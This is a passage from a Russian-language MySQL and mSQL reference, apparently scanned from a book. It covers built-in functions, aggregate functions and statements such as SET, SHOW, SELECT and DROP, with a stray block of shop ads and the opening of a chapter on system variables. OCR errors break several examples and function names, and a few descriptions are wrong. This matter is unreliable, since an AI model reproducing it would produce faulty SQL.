Возвращает двоичное значение указанного десятичного числа decimal. Это эквивалент функции CONV (decimal, 10,2) (например, BIN(8) вернет 1000).

BIT_COUNT( number)

Возвращает число битов, установленных в 1 в двоичном представлении числа (например, BIT_COUNT (17) возвращает 2).

CEILING( number)

Возвращает наименьшее целое число, которое больше или равняется указанному числу number (например, CEILING (5.67) возвратит 6).

COS( radians )

Возвращает косинус заданного в радианах числа number (например, COS(O) вернет 1. 000000).

СОТ( radians)

Возвращает котангенс числа number, заданного в радианах (например, СОТ(1) вернет 0.642093).

CURDATE()/CURRENT_DATE()

Возвращает текущую дату. При использовании в числовом контексте возвращается число вида YYYYMMDD , иначе вернется строка вида'YYYY-MM-DD' (например, CURDATE() может вернуть «1998-08-24»).

CURTIME()/CURRENT_TIME()

Возвращает текущее время. При использовании в числовом контексте возвращается число вида HHMMSS, иначе возвращается строка вида НН: ММ: SS (например, CURRENT_TIME() может вернуть 13:02:43).

DATABASE()

Возвращает имя текущей базы данных (например, DATABASE() может вернуть «mydata»).

DATE_ADD(date, INTERVAL amount type )/ADDOATE(date, INTERVAL amount type )

Возвращает дату, сформированную добавлением заданного количества времени к указанной дате. Добавляемое время может быть представлено одним из следующих типов: SECOND, MINUTE, HOUR, DAY, MONTH, YEAR, MINUTE_SECOND (как «минутьпсекунды»), HOUR_MINUTE (как «часы:минуты»), DAY_HOUR (как «дни часы»), YEAR_MONTH (как «годы-месяцы»), HOUR_SECOND (как «часы:минуты:секунды»), DAY_MINUTE (как «дни часы:минуты») и DAY_SECOND (как «дни часы:минуты:секунды»). За исключением указанных выше типов, amount должно быть целым значением. (Например, DATE_ADD("1998-08-24 13:00:00", INTERVAL 2 MONTH) вернет «1998-10-24 13:00:00».)

DATE_FORMAT( date, format )

Возвращает дату в указанном формате. Строка формата печатается в том виде, в каком задана, с выполнением следующих подстановок:

%а

Сокращенное название дня недели (Sun, Mon и т. д.).

%b

Сокращенное название месяца (Jan, Feb и т. д.).

%D

День месяца с порядковым индексом (1-й, 2-й, 3-й и т. д.).

%d

День месяца.

%Н

24-часовый час (всегда две цифры, например 01).

%h/%I

12-часовый час (всегда две цифры, например 09).

%i

Минуты.

%j

День года.

%k

24-часовый час (одна или две цифры, например 1).

%1

12-часовый час (одна или две цифры, например 9).

%М

День месяца.

%m

Номер месяца (1 - это январь).

%р

AM или РМ.

%r

12-часовое полное время (включая АМ/РМ).

%S

Секунды (всегда две цифры, например 04).

%s

Секунды (одна или две цифры, например 4).

%Т

24-часовое полное время.

%U

Неделя года (новая неделя начинается с воскресенья).

%W

Название дня недели.

%w

Номер дня недели (0 - это воскресенье).

%Y

Четырехзначный год.

%У

Год, две цифры.

%%

Символ « % ».

DATE_SUB( date, INTERVAL amount type )/SUBDATE( date, INTERVAL amount type )

Возвращает дату, сформированную вычитанием указанного количества времени из указанной даты. Используются те же самые типы, что и в команде DATE_ADD (например, SUBDATE(" 1999-05-20 11:04:23", INTERVAL 2 DAY) возвращает «1999-05-18 11:04:23»).

DAYNAME( date,)

Возвращает название дня недели для указанной даты (например,

DAYNAME(' 1998-08-22')

возвращает «Saturday»).

DAYOFMONTH( date)

Возвращает значение дня месяца для указанной даты (например, DAYOFMONTHC1998-08-22') возвращает 22).

DAYOFWEEK( ctete)/WEEKDAY( date)

Возвращает номер дня недели (1 - это воскресенье) для указанной даты (например, DAY_ OF_WEEK('1998-08-22') возвращает 7).

DAYOFYEAR( date)

Возвращает день года для указанной даты (например, DAYOFYEAR ('1983-02-15') возвращает 46).

DEGREES( radians )

Возвращает данный аргумент, конвертированный из радианов в градусы (например, DEGREES(2 *PI()) возвращает 360.000000).

ELT(number, string1, string2, . . . )

Возвращает string?, если number равно 1, string2, если number равно 2, и т. д. Если число number не соответствует ни одной строке, возвращается NULL (например, ELT(3, "once", "twice", "thrice", "fourth") возвращает «thrice»).

ENCRYPT( string[, salt])

Шифрует, ставит пароль на данную строку. Если указана база для шифрования salt, она используется при генерации пароля (например, ENCRYPT('mypass', 'За') может вернуть «3afi4004idgv»).

ЕХР(power)

Возвращает число е, возведенное в указанную степень (например, ЕХР(1) возвращает 2.718282).

FIELD( string, string1, string2, . . . )

Возвращает позицию аргумента (начиная со stringl) в списке аргументов, который совпадает со string. Вернет 0, если совпадений нет (например, FIELD( 'abe', 'деогде', 'John', 'abe', 'bill') возвращает 3).

FINO_IN_SET( string, set)

Возвращает позицию string в наборе set. Аргумент set — это набор строк, разделенных запятыми (например, FIND_IN_SET ('abe', 'деогде, John, abe, bill') возвращает 3).

FLOOR( number)

Возвращает наибольшее целое число, которое меньше или равно number (например, FLOOR (5.67) возвращает 5).

FORMAT( number, decimals )

Аккуратно форматирует заданное число, используя заданную длину дробной части (например, FORMAT(4432.99134,2) возвращает «4,432.99»).

FROM_DAYS( days)

Возвращает дату, заданную числом дней (где день 1 - это первое января первого года) (например, FROM_DAYS(728749) вернет «1995-04-02»).

FROM_UNIXTIME( seconds [, format])

Возвращает дату (GMT), соответствующую указанному числу секунд, прошедших с начала отсчета (1-е января 1970 г. GMT). Если определен формат (с использованием тех же параметров, что и в команде DATE_FORMAT ), возвращаемое время форматируется соответствующим образом (например, FROM_UNIXTIME(903981584) возвращает «1998-08-24 18:00:02»)-

GET_LOCK( name, seconds )

Создает определяемую пользователем блокировку, которая ждет заданное количество секунд до таймаута. Ее можно использовать в клиентском приложении для выполнения блокирования в программах, которые используют одинаковые имена блокировок. Если блокировка прошла успешно, возвращается 1. Если время ожидания истекло, вернется 0. При остальных ошибках вернется значение NULL. Возможна только одна активная блокировка для одной сессии. Повторный запуск GET_LOCK() удалит любую предыдущую блокировку без предупреждения (например, GET_ LOCK("mylock", 10) может вернуть 1 в течение 10 секунд).

GREATEST (num 1, num2[, numЗ, . . . ])

Возвращает наибольший из всех имеющихся аргументов (например, GREATEST(5, 6, 68,1,4) возвращает 68).

НЕХ(decimal )

Возвращает шестнадцатеричное значение указанного десятичного числа. Эквивалент функции CONV(decimal, 10,16) (например, НЕХ(90) возвращает «За»).

HOUR(time)

Возвращает час из указанной даты (например, HOUR('15:33:30') возвращает 15).

IF(test, value1, value2 )

Если test истинно, возвращает valuel, иначе возвращает value2. Значение test должно быть целочисленным, поэтому числа с плавающей запятой следует использовать после преобразования их к типу integer (например, IF(1>0, "true", "false") возвращает true).

IFNULL( value, value2 )

Возвращает value, если оно не равно null, иначе возвращает value2 (например, IFNULL(NULL, "bar") возвращает «bar»).

INSERT( string, position, length, new )

Возвращает строку, созданную путем замены некоторых символов из строки string на символы new. Будет заменено количество символов, указанное в length, начиная с позиции position (например, INSERT( 'help', 3,1, ' can jum') возвращает «he can jump»).

INSTR( string, substring )

Идентично функции LOCATE, за исключением того, что .аргументы идут в обратном порядке (например, INSTR( 'makebelieve', 'lie') возвращает 7).

ISNULL( expression )

Возвращает 1, если выражение в expression равно NULL, иначе возвращает 0 (например, ISNULL(3) вернет 0).

INTERVAL( А, В, С, D, . . . )

Возвращает 0, если А - это наименьшее значение, 1 - если А находится между В и С, 2- если А находится между С и D, и т. д. Все значения, кроме А, должны идти по порядку (например, INTERVAL (5,2,4,6,8) возвращает 2 (так как 5 находился во втором интервале между 4 и 6).

LAST_INSERT_ID()

Возвращает последнее значение поля AUTO_INCREMENT , которое было создано автоматически (например, LAST_INSERT_ID() может вернуть 4).

LCASE( string )/LOWER( string)

Возвращает строку string, где все символы переведены в нижний регистр (например, LCASE(' ВоВ') возвращает «bob»).

LEAST(num1, num2[, num3, . . . ])

Возвращает наименьший из всех имеющихся аргументов (например, LEAST(5,6,68,1,4) возвращает 1).

LEFT( string, length )

Возвращает количество символов length из строки string, начиная с начала строки (например, LEFTC 12345", 3) возвращает «123»).

LENGTH (string)/OCTET_LENGTH( string )/CHAR_LENGTH( string)/ CHARACTER_LENGTH( string)

Возвращает длину строки string (например, CHAR_LENGTH( 'Hi Mom! ' ) возвращает 7). В многобайтных наборах символов один символ может занимать более одного байта (например, в Unicode и некоторых азиатских наборах символов). В этих случаях строковые функции MySQL должны правильно считать число символов, а не байтов. Однако в версиях до 3.23 эта функция не работала и возвращала число байт.

LOCATE( substring, string [, number ])/POSITION( substring, string )

Возвращает позицию подстроки substring в строке string. Возвращает 0, если substring не найдена. Если в LOCATE задан третий числовой аргумент, поиск подстроки начнется только с позиции, указанной этим аргументом (например, LOCATE(' SQL', ' MySQL') вернет 3).

LOG(number)

Возвращает натуральный логарифм числа number (например, LOG(2) возвращает 0.693147).

LOG10(number)

Возвращает обычный (десятичный) логарифм числа (например, LOG10(1000) возвращает 3.000000).

LPAD( string, length, padding )

Возвращает заданную строку string с дополнением padding к началу строки. Дополнение будет повторяться, пока новая строка не достигнет длины, указанной в length, (например, LPAD(' -Merry X-Mas',18, 'Но') возвращает «НоНоНо Merry X-Mas»).

LTRIM( string)

Возвращает строку string с удалением всех начальных пробелов (например, LTRIM(' Oops') возвращает «Oops»).

MID( string, position, length )/SUBSTRING( string, position, length )/

SUBSTRING( string FROM position FOR length )

Возвращает подстроку из количества символов, указанного в length, взятых из строки string, начиная с позиции position (например, SUBSTRING(' 12345', 2,3) возвращает «234»).

MINUTE( time)

Возвращает количество минут указанного времени (например, MI-NUTE('15:33:30') возвращает 33).

МOD(num1, пит2)

Возвращает модуль числа пит1, деленного на число пит2. Функция аналогична оператору % (например, MOD(11,3) возвращает 2).

MONTH (date)

Возвращает номер месяца (1 в случае января) для указанной даты (например, MONTH(' 1998-08-22') возвращает 8).

MONTHNAME( date)

Возвращает название месяца для указанной даты (например, MONTHNAME('1998-08- 22') возвращает «August»).

NOW()/SYSDATE()/CURRENT_TIMESTAMP()

Возвращает текущую дату и время. В числовом контексте возвращается число вида YYYYMMDDHHMMSS , в ином случае вернется строка вида 'YYYY-MM-DD HH:MM:SS' (например, SYSDATE() может вернуть «1998-08-24 12:55:32»).

OCT( decimal)

Возвращает восьмеричное значение заданного десятичного числа. Функция эквивалентна функции CONV(deciinal, 10,8) (например, ОСТ(8) возвращает 10).

PASSWORD( string)

Возвращает зашифрованную версию заданной строки. (Например, PASSWD( 'mypass') может вернуть «3afi4004idgv».)

PERIOD_ADD( date, months )

Возвращает дату, сформированную путем добавления указанного числа месяцев к заданной дате (которая должна быть в формате YYMM или YYYYMM) (например, PERIOD_ADD(9808,14) возвращает 199910).

PERIOD_DIFF( date1, date2 )

Возвращает количество месяцев между указанными датами (которые должны быть указаны в формате YYMM или YYYYMM) (например, PERIOD_DIFF(199901,8901) вернет 120).

PI()

Возвращает число к: 3.141593.

POW(num1, num2)/POWER( num1, num2]

Возвращает значение числа пит 1, возведенного в степень пит2- (например, POWER(3,2) возвращает 9.000000).

QUARTER( date)

Возвращает номер квартала указанной даты (1 - это январь-март) (например, QUARTER(' 1998-08-22') возвращает 3).

RADIANS( degrees)

Возвращает значение заданного аргумента, переведенное из градусов в радианы (например, RADIANS(-90) возвращает -1.570796).

RAND ([seed])

Возвращает случайную десятичную дробь от 0 до 1. Если задан аргумент, он используется как источник (seed) для генератора случайных чисел (например, RAND(3) может вернуть 0.435434).

RELEASE_LOCK( name)

Удаляет блокировку, созданную функцией GET_LOCK . Вернет 1, если снятие блокировки было успешным; 0, если блокировку не удалось снять, поскольку она не принадлежит текущему потоку; и NULL, если блокировки нет (например, RELEASE_LOCK("mylock") ).

REPEAT( string, number )

Возвращает строку, полученную путем повторения заданной строки некоторое число раз (указано в number). Вернет пустую строку, если number меньше или равно нулю (например, REPEAT( 'ma', 4) возвращает 'mamamama').

REPLACE( string, old, new )

Возвращает строку, в которой все вхождения подстроки old заменяются на подстроку new (например, REPLACE('black jack','ack1,'oke') возвращает «bloke joke»).

REVERSE( string)

Возвращает символы строки string в обратном порядке (например, REVERSE('my bologna') возвращает «angolobym»).

RIGHT( string, length )/SUBSTRING( string FROM length)

Возвращает количество символов из string, указанное в length, начиная с конца строки (например, SUBSTRING( «12345» FROM 3) возвращает «345»).

ROUND( number [.decimal ])

Округляет дробную часть числа number до указанного количества цифр. Если аргумент decimal не указан, число округляется до целого (например, ROUND(5.67,1) возвращает 5.7).

RPAD( string, length, padding )

Возвращает строку string с дополнением padding к концу строки. Дополнение будет повторяться, пока новая строка не достигнет длины, указанной в length (например, RPAD( 'Yo', 5, '! ') возвращает «Yo!!!»).

RTRIM( string)

Возвращает строку string с удалением всех концевых пробелов (например, RTRIM( 'Oops ') вернет «Oops»).

SECOND( time)

Возвращает секунды из указанного времени (например, SE-COND('15:33:30') возвращает 30).

SEC_TO_TIME( seconds )

Возвращает число часов, минут и секунд в заданном количестве секунд. При использовании в числовом контексте возвращает число в формате HHMMSS, иначе вернет строку вида HH:MM:SS (например, SEC_TO_TIME(3666) возвращает «01:01:06»).

SING( number)

Возвращает -1, если число number отрицательное, 0, если это ноль, и 1, если оно положительное (например, SIGN(4) возвращает 1).

SIN( radians)

Возвращает синус числа, заданного в радианах (например, SIN(2*РI()) возвращает0. 000000).

SOUNDEX(stdng)

Возвращает код Soundex, связанный со строкой (например, SOUNDEX(' Jello') возвращает «J400»).

SPACE(number)

Возвращает строку из пробелов, число которых указанно в number (например, SPACE( 5) возвращает<>).

SQRT(number)

Возвращает квадратный корень числа number (например, SQRT(16) возвращает 4.000000).

STRCMP( string1, string2 )

Возвращает 0, если строки совпадают, -1 если бы string1 при сортировке оказалась раньше строки string2; или 1, если string! была бы при сортировке после string2 (например, STRCMP( 'bob', 'bobbie') возвращает —1).

SUBSTRING_INDEX( string, character, number )

Считает количество указанных символов character в строке string до тех пор, пока не досчитает до заданного числа number. Если это число было отрицательным, вернется все, что слева от символа, на котором остановился счетчик, а если число положительное, то функция вернет все, что находится справа от него. (Например, SUBSTRINGJENDEXC 1,2, 3,4,5', ',',-3) возвращает «1,2,3».)

SUBSTRING( string,position )

Возвращает строку string, начиная с символа указанного в position (например, SUBSTRING(«123456», 3) возвращает «3456»).

TAN(radians )

Возвращает тангенс числа, заданного в радианах (например, TAN(0) возвращает 0.000000).

TIME_FORMAT( time, format)

Форматирует заданное время в указанный формат. Формат тот же, что и в команде DATE FORMAT , описанной выше.

TIME_TO_SEC( time)

Возвращает количество секунд в аргументе time (например, ТIМЕ_ТО_ 8ЕС(' 01:01:06') возвращает 3666).

TO_DAYS(date)

Возвращает количество дней, прошедшее до указанной даты (день 1 - это 1-е января 1-го года). Дата может быть значением типа DATE, DATETIME, TIMESTAMP или числом в формате YYMMDD либо YYYYMMDD (например, TO_DAYS( 19950402) возвращает 728749).

TRIM([BOTH|LEADING|TRAILING] [ remove ] [FROM] string)

Возвращает строку string с удаленными концевыми и начальными пробелами. Вы можете указать, какие пробелы хотите удалить (концевые, начальные или и те и другие). Также вместо пробела можно указать другой символ (например, TRIM( both ' ' from ' --look here—') возвращает «look here»).

TRUNCATE( number, decimals )

Возвращает number с дробной частью, усеченной до указанного количества цифр. (Например, TRUNCATE(3.33333333,2) возвращает 3.33.)

UCASE( string)/UPPER( string)

Возвращает string, где все символы переведены в верхний регистр (например, UPPER ('Scooby') возвращает «SCOOBY»).

UNIX_TIMESTAMP([ date])

Возвращает число секунд, прошедшее с начала отсчета (1 января 1970 г. GMT) до заданной даты (GMT). Если дата не указана, возвращает число секунд, прошедшее до текущей даты (например, UNIX_TI-MESTAMPC1998-08-24 18:00:02') возвращает 903981584).

USER()/SYSTEM_USER()/SESSION_USER()

Возвращает имя текущего пользователя (например, SYSTEM_USER() может вернуть «ryarger»).

VERSION()

Возвращает версию самого сервера MySQL (например, VERSION() может вернуть «3.22. 5c-alpha»).

WEEK(date)

Возвращает порядковый номер недели года из указанной даты (например, WEEK( '1998-12-29') возвращает 52).

YEAR (date)

Возвращает год из указанной даты (например, YEAR('1998-12-29') возвращает 1998).

Далее идут агрегатные функции, выполняемые над набором данных. Обычно этот метод используется для выполнения некоторого действия над всем набором возвращаемых данных. Например, функция SELECT

AVG(height) FROM kids возвращала бы среднее от значений поля ' height' в таблице kids.

AVG( expression )

Возвращает среднее значение из значений в expression (например, SELECT AVG(score) FROM tests ).

BIT_AND( expression )

Возвращает результат побитового И, агрегирующего все значения в expression (например, SELECT BIT_AND(flags) FROM options ).

BIT_OR( expression )

Возвращает побитовое ИЛИ, агрегирующее все значения значения в expression (например, SELECT BIT_ OR(flags) FROM options ).

COUNT( expression )

Возвращает количество раз, когда значение expression было не нулевым. COUNT(*) вернет число записей с какими-либо данными во всей таблице (например, SELECT COUNT( *) FROM folders ).

MAX( expression )

Возвращает наибольшее из значений в expression (например, SELECT MAX (elevation) FROM mountains ).

MIN( expression )

Возвращает наименьшее из значений в expression (например, SELECT MIN(level) FROM toxic_waste ).

STD( expression )/STDDEV( expression )

Возвращает среднеквадратичное отклонение значения в expression (например, SELECT STDDEV(points) FROM data ).

SUM(expression )

Возвращает сумму значений в expression (например, SELECT SUM(calories) FROM daily_diet ).

Примеры

# Найти все имена (пате)в таблице 'people', у которых поле 'state'

# равно 'Ml'.

SELECT name FROM people WHERE state-'MI'

# Показать все данные из таблицы 'mytable'. SELECT * FROM mytaPle

SET

SET OPTION SQL_OPTION=va.Zue

Устанавливает настройки для текущей сессии. Определенные этим оператором параметры действуют только для текущего соединения и исчезают при его закрытии. В настоящее время поддерживаются следующие настройки:

CHARACTER SET charselname или DEFAULT

Изменяет набор символов, используемый MySQL. Сейчас поддерживается только один альтернативный набор символов cp1251_koi8, который относится к русскому языку. Указав DEFAULT, вы вернете обычную таблицу символов.

LAST_INSERT_ID= number

Устанавливает значение, возвращаемое функцией LAST_INSERT_ID() .

SQL_BIG_SELECTS=0 или 1

Определяет реакцию системы при обнаружении длинного запроса SELECT. Если установить 1, MySQL прервет запрос, выдав ошибку с предупреждением о том, что запрос, возможно, потребует слишком много времени на обработку. MySQL решает, что запрос является слишком длинным, если придется обрабатывать больше записей, чем указано в системной переменной max_join_size . По умолчанию значение равно 0, что разрешает любые запросы.

SQL_BIG_TABLES=0 или 1

Определяет работу с временными таблицами (создаваемыми обычно при обработке больших наборов данных). Если это значение равно 1, временные таблицы хранятся на диске, что будет медленнее работы с оперативной памятью, но может предотвратить ошибки в системах с небольшим объемом памяти. Значение по умолчанию -О, все временные таблицы хранятся RAM.

SQL_LOG_OFF=0 или 1

При установке параметра в 1 выключается стандартная журнализа-ция-текущей сессии. Журнализация ISAM и журнал обновлений базы не выключаются. У вас должны быть права PROCESS LIST для использования этой установки. По умолчанию значение равно 0, что разрешает обычную журнализацию. В главе 4 «MySQL», описаны разные схемы журнализации MySQL.

SQL_SELECT_LIMIT= number

Максимальное количество записей, возвращаемое запросом SELECT. Спецификатор LIMIT отменяет это значение. По умолчанию возвращаются все записи.

SQL_UPDATE_LOG=0 или 1

Выключает журнализацию обновления базы данных для текущей сессии при значении, равном 0. Не влияет на стандартную журнализацию или на журнализацию ISAM. У вас должны быть права

PROCESS LIST для использования этой установки. По умолчанию значение равно 1, что разрешает обычную журнализацию.

TIMESTAMP= value или DEFAULT

Устанавливает время, использованное для сессии. Это время записывается в журнал обновлений и применяется при восстановлении данных из журнала. Установка DEFAULT вернет системное время.

Пример

# Выключить журнализацию текущей сессии.

SET OPTION SQL_LOG_OFF=1

SHOW

SHOW DATABASES [LIKE clause]

SHOW KEYS FROM table [FROM database]

SHOW INDEX FROM table [FROM database]

SHOW TABLES [FROM database] [LIKE clause]

SHOW COLUMNS FROM table [FROM database] [LIKE clause]

SHOW FIELDS FROM table [FROM database] [LIKE clause]

SHOW STATUS

SHOW TABLE STATUS [FROM database] [LIKE clause]

SHOW VARIABLES [LIKE clause]

Выводит различную информацию о системе MySQL. Выражение можно использовать для выяснения статуса или структуры практически любой части.

Примеры

# Показать все доступные БД. SHOW DATABASES

# Показать информацию об индексах таблицы 'bigdata'

SHOW KEYS FROM bigdata

# Показать информацию об индексах в таблице 'bigdata' в БД 'mydata'

SHOW INDEX FROM bigdata FROM mydata

# Показать все доступные таблицы из БД 'mydata', начинающиеся с

# буквы 'z'

SHOW TABLES FROM mydata LIKE 'z%'

If Выдать информацию обо всех столбцах таблицы 'skates'

SHOW COLUMNS FROM stakes

# Выдать информацию обо всех столбцах таблицы 'people', с именами

# кончающимися на '_name'

SHOW FIELDS FROM people LIKE '%\_name'

# Показать информацию о состоянии сервера SHOW STATUS

# Показать системные переменные SHOW VARIABLES

UNLOCK

UNLOCK TABLES

Разблокирует все таблицы в текущем соединении, заблокированные с помощью выражения LOCK.

Пример

# Unlock all tables UNLOCK TABLES

UPDATE

UPDATE table SET column=value, . . . [WHERE clause]

Изменяет данные в таблице. Выражение используется для изменения имеющихся данных без модификации структуры самой таблицы. Можно использовать имя столбца как источник значения value при установке нового значения. Например, UPDATE health SET miles_ran=miles_ran+5 добавит 5 к текущему значению поля miles_ran. Возвращает число измененных записей.

Для выполнения выражения необходимы права UPDATE .

Пример

# Изменить имя 'John Deo' на 'John Doe' во всей таблице 'people'.

UPDATE people SET name='John Doe' WHERE name='John Deo'

USE

USE database

Выбирает БД по умолчанию. Указанная в выражении БД будет использоваться по умолчанию во всех последующих запросах. Другие БД могут быть явно указаны с помощью полной системы обозначения database.table.column .

Пример

# Сделать db1 БД по умолчанию USE db1

mSQLSQL

CREATE

CREATE TABLE name field_name field_type, [field2 type2, ...]

CREATE SEQUENCE ON table [STEP value] [VALUE value]

CREATE INDEX name ON table ( column, ...)

Создает новые элементы базы данных (или полностью новые базы). Предложение используется для создания БД, таблиц, индексов и счетчиков.

CREATE SEQUENCE создает счетчик на таблицу. Счетчик - это простое значение, связанное с таблицей, за которым следит сервер mSQL. Наиболее часто счетчик используют для создания уникальных идентификаторов в таблицах. При прочтении значение счетчика каждый раз инкрементируется. Спецификатор STEP указывает на какое значение каждый раз инкрементируется счетчик. Спецификатор VALUE задает начальное значение счетчика.

Оператор CREATE INDEX определяет индекс для таблицы. Система mSQL поддерживает индексы, содержащие более одного поля. Вы должны дать индексу имя, необязательно осмысленное, поскольку конечным пользователям редко необходим доступ к индексам.

CREATE TABLE определяет структуру таблицы в базе данных. Этим оператором создаются все таблицы mSQL. Предложение состоит из имени таблицы, за которым идет любое количество определений полей. Синтаксис определения полей включает в себя имя поля, затем его тип, за которым следует любой модификатор (например: name char(30) not null). mSQL поддерживает следующие типы данных:

CHAR (length)

Текстовое значение фиксированной длины. Никакое значение не может быть больше заданной длины.

DATE

Стандартный тип даты.

INT

Стандартное четырехбайтовое целое в диапазоне от -2147483646 до 2147483647.

MONEY

Денежный тип, подходящий для аккуратного хранения денежных значений. Тип позволяет хранить десятичные значения (как 19.99) без необходимости использовать тип числа с плавающей запятой.

REAL

Стандартное восьмибайтовое число с плавающей запятой. Минимальные ненулевые значения +/-4.94Е-324 и максимальные значения +/- 1.79Е+308.

ТЕХТ( length)

Текстовое значение переменной длины. Заданная длина - это максимальное значение для большинства данных, однако могут быть введены и более длинные данные.

TIME

Стандартный тип времени.

UINT

Стандартное четырехбайтовое беззнаковое целое. Диапазон от 0 до 4294967295.

В дополнение к основным типам могут быть использованы несколько спецификаторов для уточнения свойств типа:

length

Это является максимальной длиной символьного типа. Для типа CHAR это абсолютный максимум, для типа TEXT это приблизительный максимум, применяющийся только к большинству данных. Более длинные данные могут быть введены в поле TEXT, однако это замедлит операции с таблицей.

NOT NULL

Указывает, что поле не может содержать нулевое значение. Попытка ввести в это поле такое значение вызовет ошибку.

Примеры

# Создать 'простую таблицу

CREATE TABLE emp_data ( id INT, name CHAR(50) )

# Добавить счетчик к таблице 'checks' с начальным значением '1000' и # шагом инкрементации по умолчанию (1)

CREATE SEQUENCE ON checks VALUE 1000

# Создать индекс для таблицы 'music', включающий в себя

# поля 'artist','publisher' и 'title'.

CREATE INDEX idxl O.N music ( artist, publisher, title )

DELETE

DELETE FROM table [WHERE clause]

Удаляет запись из таблицы. Если применяется без предложения WHERE, будет полностью удалена вся таблица, а затем создана новая пустая

таблица. С использованием WHERE будут удалены записи, отвечающие условиям выражения.

Примеры

# Стереть все данные из таблицы 'olddata'(no не саму таблицу). DELETE FROM olddata

# Стереть все записи в таблице 'sales', в которых поле 'year' равно '1995', DELETE FROM sales WHERE year=1995

DROP

DROP INDEX name DROP TABLE name DROP SEQUENCE FROM table

Полностью удаляет таблицу, индекс или счетчик из системы mSQL.

DROP - это, возможно, самое опасное из выражений SQL. Если вы имеете право на выполнение команд DROP, вы можете полностью стереть таблицу или даже целую базу данных. Это произойдет без предупреждения или запроса на подтверждение. Единственный способ отменить DROP - восстановление базы данных из резервной копии. Поэтому следует запомнить два правиле: (1) всегда сохраняйте резервную копию вашей базы (backup); (2) не используйте DROP до тех пор, пока вы полностью не уверены в том, что это необходимо.

Примеры

# Удалить таблицу 'oh_no'. DROP TABLE oh_no

# Удалить индекс с именем 'my_index' DROP INDEX my_index

# Стереть счетчик для таблицы 'counter'. Другой счетчик может быть

# создан в любое время с помощью команды 'CREATE SEQUENCE'.

DROP SEQUENCE FROM counter

INSERT

INSERT INTO table [ (column, ...) ] VALUES ( values )

Записывает данные в таблицу. Этот оператор вставит указанные значения в заданные столбцы. Поля, значения которых не указаны, получат значение NULL. Если вы не зададите список столбцов, число указанных значений должно точно совпадать с числом столбцов в таблице.

Примеры

# Добавить запись в таблицу'people'.

INSERT INTO people ( name, rank, serial_number )

VALUES ( 'Bob Smith', 'Captain', 12345 )

SELECT

SELECT [DISTINCT] columns FROM table [clause]

Выбирает данные из таблицы. Оператор SELECT является основным методом чтения данных из таблиц баз данных.

Если вы укажете несколько таблиц, mSQL автоматически объединит таблицы для сравнения записей.

Если указано ключевое слово DISTINCT, будет показана только одна запись из каждой группы одинаковых записей возвращаемого набора.

Имена столбцов могут быть указаны как column или как table, column . Длинная форма необходима только для того, чтобы отличать столбцы с одинаковыми именами, но ее можно использовать в любое время (например, SELECT name FROM people; SELECT people, name FROM people ).

Список таблиц для соединения указывается как Table1, Table2, Tab-1еЗ, .... Таблицы будут соединены таким образом, как mSQL сочтет наиболее эффективным. Именам таблиц могут быть присвоены псевдонимы (например, SELECT t1.name, t2.address FROM Iong_table_name=t1, Ionger_table_name=t2 ). Если не указано выражение clause, SELECT вернет все данные из выбранной таблицы (или таблиц).

Выражение отбора записей может содержать следующие операторы:

WHERE

Конструкция WHERE является основным способом поиска данных в SQL. В конструкции сравниваются два и более значений. Можно использовать значения с именами (такие как имена столбцов и псевдонимы), числовые константы и строки. Поддерживаются следующие операторы:

AND

Выполняет логическое И (вернет 0, если хоть один из аргументов равен 0, иначе вернет 1).

OR

Выполняет логическое ИЛИ (возвращает 1, если любой из аргументов не равен 0, иначе возвращает 0).

()

Скобки используются для группировки операторов, чтобы указать старшинство.

=

Возвращает 1, если два значения совпадают, иначе вернет 0. mSQL автоматически преобразует типы при сравнении значений.

<>

Возвращает 1, если два значения не совпадают, иначе возвращает 0.

<=

Возвращает 1, если левое значение меньше или равно правому, иначе возвращает 0.

<

Возвращает 1, если левое значение меньше, чем значение справа, иначе возвращает 0.

>=

Возвращает 1, если левое значение больше или равно правому, иначе возвращает 0.

>

Возвращает 1, если левое значение больше правого, иначе возвращает 0.

ORDER BY column [DESC][, column2 [DESC],...]

Сортирует возвращаемые данные по заданному столбцу (или столбцам). Если указать DESC, данные будут отсортированы в порядке убывания, иначе будет использована сортировка по возрастанию (например, SELECT name, age FROM people ORDER BY age DESC ).

value1 LIKE value2

Сравнивает valuel и value2 и возвращает 1, если они совпадают. Значение справа может содержать знак подстановки « % », который заменяет любое количество символов (в том числе и отсутствие символа), и знак '_', замещающий в точности один символ. Это, возможно, наиболее употребительное в SQL сравнение. Чаще всего используется сравнение поля с некоторой строкой, содержащей знак подстановки (например, SELECT name FROM people WHERE name LIKE 'B%' ).

value1 RLIKE value2

Сравнивает valuel и value2, используя расширенный синтаксис регулярных выражений, и возвращает 1, если они совпадают. Значение справа может содержать полные подстановочные выражения и конструкции Unix (например, SELECT name FROM people WHERE name RLIKE '^В. *').

value1 CLIKE value2

Сравнивает value1 с value2, используя нечувствительную к регистру версию оператора LIKE (например, SELECT name FROM people WHERE name CLIKE 'b%' ).

Предложение WHERE возвращает все записи, для которых значение заданного выражения не равно 0 или NULL. Таким образом, SELECT age FROM people WHERE age>10 вернет только те записи, где 'ages' больше 10.

Примеры

# Найти все имена (пате)в таблице 'people', у которых поле 'state' равно 'МI'. SELECT name FROM people WHERE state='MI' # Показать все данные из таблицы 'mytable'. SELECT * FROM mytable

UPDATE

UPDATE table SET column=value, . . . [WHERE clause]

Изменяет данные в таблице. Используется для обновления существующих данных, не изменяя саму таблицу.

Пример

# Изменить имя 'John Deo' на 'John Doe' во всей таблице 'people'. UPDATE people SET name='John Doe' WHERE name='John Deo'

Болеро
Видео, Музыка, Программы, Игрушки, Книги, Подарки. Доставка курьером, почтой.

Digita.ru
Интернет-Магазин:
Современная Аудио- и Видеотехника.

Gimi.Ru:
бытовая техника, посуда, увлажнители и ионизаторы воздуха, эпиляторы, электро- и гидромассажеры

Porta.Ru
Цифровое Аудио, Фото и Видео, Компьютеры и Связь, Часы, Переводчики и др.


  • Глава №16. Системные переменные MySQL и mSQL
    • Системные переменные MySQL
    • Системные переменные mSQL

Глава №16.

Системные переменные MySQL и mSQL

Для настройки работы MySQL и mSQL могут использоваться некоторые переменные. Многие из них являются переменными окружения, которые наследуются от оболочки пользователя, в то время как другие устанавливаются с помощью командной строки и файлов конфигурации.

Системные переменные MySQL

Переменные окружения MySQL

Следующие переменные являются специальными переменными MySQL. Они могут быть определены в текущей оболочке или задаваться как часть сценария оболочки. Чтобы установить переменную для демона MySQL (mysqld), определите переменную в используемом для запуска демона сценарии safe_mysqld или определите значения переменных в файле конфигурации MySQL (мы расскажем о нем дальше в этой главе).

MY_BASEDIR

MY_BASEDIR_VERSION

